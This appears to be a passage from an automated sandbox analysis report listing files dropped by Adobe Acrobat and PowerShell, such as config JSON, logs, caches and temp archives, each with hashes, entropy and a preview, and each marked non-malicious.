Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278865486421267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfshHHrPeUkwRe9:YvXKXktpEZc0vn5GUUUkee9
MD5:	513D873D1EBBAAC8CA539DE2DC62EE50
SHA1:	D6CA1C292790CCC6215A9AE050B1C9EB295C1174
SHA-256:	AC391B9F7CF611E0703046991A0DB7E148733860EE3A98FFB7CBBB5C26951973
SHA-512:	7C11EABD257A3C757EDE1A5B3CE123891F7C5DDC591DBFBE1D3DEE687512C7C4745DDF5484F668C3632349F3D0AF31504965621DC1602E4CCDF08E0AB734486C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2903460757893175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJTqgFCrPeUkwRe9:YvXKXktpEZc0vn5GTq16Ukee9
MD5:	559B22BF98281D76160CE097C611D15E
SHA1:	24A6D5269A6592EF6205D57A66D02F6B6D351E00
SHA-256:	FEB7E30604FFE21AC6F7F6FE3F2E1F25E8173466AA9E9FD20120AD43EA091A50
SHA-512:	C435BBCC4BCC3A17EF7F375D1DE94E9356C09879893219B714941A01C59E66DD63481F5ED84FF0A3A92E7B767999B3A14783FEFFC92A15936064BF874E1FE228
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148119138197715
Encrypted:	false
SSDEEP:	24:YCxRRuaOmayt0LRoCfnqijocj0S+iAC+2pJP2LSQCQMpM59EMg5WQ9PuDOG:YERSuChoubAZIP+rMpkmDJ9I
MD5:	72B933D94F4321052247145AB555126E
SHA1:	4DA72B4B02D84F443E538531BE2F6E41CD1E82E6
SHA-256:	13D8CEE25DDB0ADC600AE3049C061EA0A3C39227EC5F6EA544751B0C2B4B8B92
SHA-512:	B6EF0D3F2868D1CB9891C9DC568B880358EECEA4C0955A63D77602330E88ED1B47AAD081E32000F750F5B344110918F608F18F7DE93CBC0FBD2D535409773D5C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"53b00673fdbb6e3ed516975164405f40","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736547491000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"45dce3179f11d621c7f778d80442fcfa","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736547491000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bdc9edef4f30bcaff79a6e1d5cbf9c94","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736547491000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6b5118aadb89ebf5b48c29e38b3d3b56","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736547491000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8bf48643ec64bc305b63152f0e6b77fb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736547491000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"205f122b60375484e1f5935ba2a889a4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1883680333985414
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUXk1SvR9H9vxFGiDIAEkGVvpbkB:lNVmswUUUUUUUU8+FGSItC
MD5:	A1F1E62F69A4662B4DCC6CD7C69C609D
SHA1:	2D7F28CAADA0FF20D993D81118ABCDB92CEB0E4F
SHA-256:	3C31DA6A02978EE9B68020FE786A6A0BD7931E05048120654DC81DEE18E53223
SHA-512:	E4F72C48531C13BDE8F56BA031491AF28F2FA26C4178B352FD57A3A8C93598B35F1AB0096FC89E7DA95D7A5D2B404B624BA8B35EA5DF325FA5194033A3BBFA3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6061397023583908
Encrypted:	false
SSDEEP:	48:7M/KUUUUUUUUUUXktvR9H9vxFGiDIAEkGVviqFl2GL7msV:75UUUUUUUUUUSFGSIt8KVmsV
MD5:	A34FAFBC32DBCB638D539386CF2A61AE
SHA1:	2097AC6CD8371729E54B7690ADC418013C2EBBD5
SHA-256:	03C6AED1880D8E3F5CBD7E1E4A2526C8081BC05296ED0DE4459099195100250E
SHA-512:	F455D7CF1D64965DD8C9F64EE5773FE9D09DBBAAACFDA859E04EFF9475EE4DC2E85C76D155FBB973E9AA0D67B92C041A9DF51D5088A20BF3FB5FF230FFDA9E0A
Malicious:	false
Preview:	.... .c........+......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgx99AFeb4fPKV6AMPnHWxsnKYyu:6a6TZ44ADEz9AFeb4fFvKK
MD5:	A0B589DAB7A5D25CAC93DBAB385ECE7C
SHA1:	2CE91F32451538A3746CEF4EEA7B806967CEFFE4
SHA-256:	4E1C3E05EFFC01BB7B07A8840F0104039496739E55A08A29E486F9E9A0B0134C
SHA-512:	FE08CFD3A46E927B7FD73CB803E01E0FBCA6889F454D4731A259E69591494CACC972D5A3AF37D32BBB2A002B2D83D86C241E3F4D68FC4F82F88D2434E8A4E7BA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb40f4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4917080724083283
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEolXH:Qw946cPbiOxDlbYnuRK+bDo9H
MD5:	44F855232C8CF34D173B34E019F9A33C
SHA1:	BA68600C6E522A7931E4051FF4C9808BC8E9E439
SHA-256:	F6630BB2BC8AA7D2C1CB86C21194D84713D6A7B6E4CA3E93CD3D0EEDCF109802
SHA-512:	CCB42315728FF63A09B604BE80DE7F60BDD614AD7DDB92CCBB4479F2432144DF8ED9F5F016CA21B8AC152B5742CF1FC572607C9AC5969AD8AD7778D79D44FDD3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.1.8.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qda5r1yz.ijj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t3gdkmab.1av.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-18-07-128.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3518189711557955
Encrypted:	false
SSDEEP:	384:DVLBSIzLwrCc7Vzrv6CjQeD+qRcPz6ecDITXBVhRI17ZHM7V3q8JnenS7Q6yVmVA:r0xoG
MD5:	8326754617BCF22BB9F215B39ADAC991
SHA1:	3A9B3A8A9F36289351BF83031D2D70B42A620342
SHA-256:	1A526F0017199E05949F9818BEDE674E811A8F0AD7E896486098E40178CC7E4B
SHA-512:	C1C4596FCD3580B2C73F80E122BDCA668A1BB08E7C005D9673DACBBCD76C41647B50211367AC709A1135854F03D25D915BCA7DC438B62A3DAF8ED0EBFF9641F9
Malicious:	false
Preview:	SessionID=4930f8e6-124f-48d5-86f5-8b3ec20217da.1736547487141 Timestamp=2025-01-10T17:18:07:141-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4930f8e6-124f-48d5-86f5-8b3ec20217da.1736547487141 Timestamp=2025-01-10T17:18:07:142-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4930f8e6-124f-48d5-86f5-8b3ec20217da.1736547487141 Timestamp=2025-01-10T17:18:07:142-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4930f8e6-124f-48d5-86f5-8b3ec20217da.1736547487141 Timestamp=2025-01-10T17:18:07:143-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4930f8e6-124f-48d5-86f5-8b3ec20217da.1736547487141 Timestamp=2025-01-10T17:18:07:143-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38575138005023
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rj:8E
MD5:	16B2C3066B1B814FC0BECD1AD6A0DEDC
SHA1:	A4ADBC8EB92FB72744F2BFEA4DC5780E2E8BD8E3
SHA-256:	DAC6F0BA7D893B15A5B7D5C1022455BDE19318AF681C36640F2EAB8F5FB0A5C1
SHA-512:	147F85357734CC67F2B0B09C7C3F2339AAE170EEACF46A99D81D75F75D7053F90101846DE03D37BD963DAF58B52F17BF853BFACEF7EA374D24F1871B46B8EE6C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01b4371d-e4a4-4ea6-9eab-31bd466e5f66.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\558aa1ed-2d51-4385-8816-e02075202377.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b6113505-b937-460e-8c6f-59def27c3d05.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bfb01519-b52e-4e42-8c87-b37f0da407ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA 